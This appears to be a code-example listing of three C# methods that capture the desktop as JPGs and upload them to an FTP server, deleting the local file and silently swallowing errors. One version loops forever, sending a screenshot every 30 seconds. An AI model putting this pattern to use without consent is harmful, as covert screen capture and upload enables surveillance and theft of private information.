Пример #1
0
        public void SingleCaptureJPGAndSendFTP(string ftphost, string username, string password)
        {
            try
            {
                ftp        = new FtpClient(ftphost, username, password);
                nameOfFile = string.Format("{0}.{1}.{2} - {3}.{4}.{5}.jpg", DateTime.Now.Year,
                                           DateTime.Now.Month.ToString().PadLeft(2, '0'),
                                           DateTime.Now.Day.ToString().PadLeft(2, '0'),
                                           DateTime.Now.Hour.ToString().PadLeft(2, '0'),
                                           DateTime.Now.Minute.ToString().PadLeft(2, '0'),
                                           DateTime.Now.Second.ToString().PadLeft(2, '0'));

                //capture a JPG
                //System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap();
                System.Drawing.Image fileImage = (System.Drawing.Image)CaptureScreen.GetDesktopImage();
                fileImage.Save(this.nameOfFile, System.Drawing.Imaging.ImageFormat.Jpeg);

                //send a JPG to FTP Server
                ftp.Login();
                this.CreateFolder();
                ftp.Upload(nameOfFile);
                ftp.Close();

                System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile);
                file.Delete();
            }

            catch {}

            finally
            {
                GC.Collect();
            }
        }
Пример #2
0
        public void SingleCaptureJPGAndSendFTP(string ftphost,string username,string password)
        {
            try
            {
                ftp = new FtpClient(ftphost,username,password);
                nameOfFile = string.Format(	"{0}.{1}.{2} - {3}.{4}.{5}.jpg",	DateTime.Now.Year,
                    DateTime.Now.Month.ToString().PadLeft(2,'0'),
                    DateTime.Now.Day.ToString().PadLeft(2,'0'),
                    DateTime.Now.Hour.ToString().PadLeft(2,'0'),
                    DateTime.Now.Minute.ToString().PadLeft(2,'0'),
                    DateTime.Now.Second.ToString().PadLeft(2,'0'));

                //capture a JPG
                //System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap();
                System.Drawing.Image fileImage = (System.Drawing.Image)CaptureScreen.GetDesktopImage();
                fileImage.Save( this.nameOfFile , System.Drawing.Imaging.ImageFormat.Jpeg );

                //send a JPG to FTP Server
                ftp.Login();
                this.CreateFolder();
                ftp.Upload(nameOfFile);
                ftp.Close();

                System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile);
                file.Delete();
            }

            catch {}

            finally
            {
                GC.Collect();
            }
        }
Пример #3
0
        private void CaptureJPGAndSendFTP()
        {
            while (true)
            {
                try
                {
                    nameOfFile = string.Format("{0}.{1}.{2} - {3}.{4}.{5}.jpg", DateTime.Now.Year,
                                               DateTime.Now.Month.ToString().PadLeft(2, '0'),
                                               DateTime.Now.Day.ToString().PadLeft(2, '0'),
                                               DateTime.Now.Hour.ToString().PadLeft(2, '0'),
                                               DateTime.Now.Minute.ToString().PadLeft(2, '0'),
                                               DateTime.Now.Second.ToString().PadLeft(2, '0'));

                    //capture a JPG
                    System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap();
                    fileImage.Save(this.nameOfFile, System.Drawing.Imaging.ImageFormat.Jpeg);

                    //send a JPG to FTP Server
                    ftp.Login();
                    this.CreateFolder();
                    ftp.Upload(nameOfFile);
                    ftp.Close();

                    System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile);
                    file.Delete();
                }

                catch {}

                finally
                {
                    GC.Collect();
                    Thread.Sleep(30000);
                }
            }
        }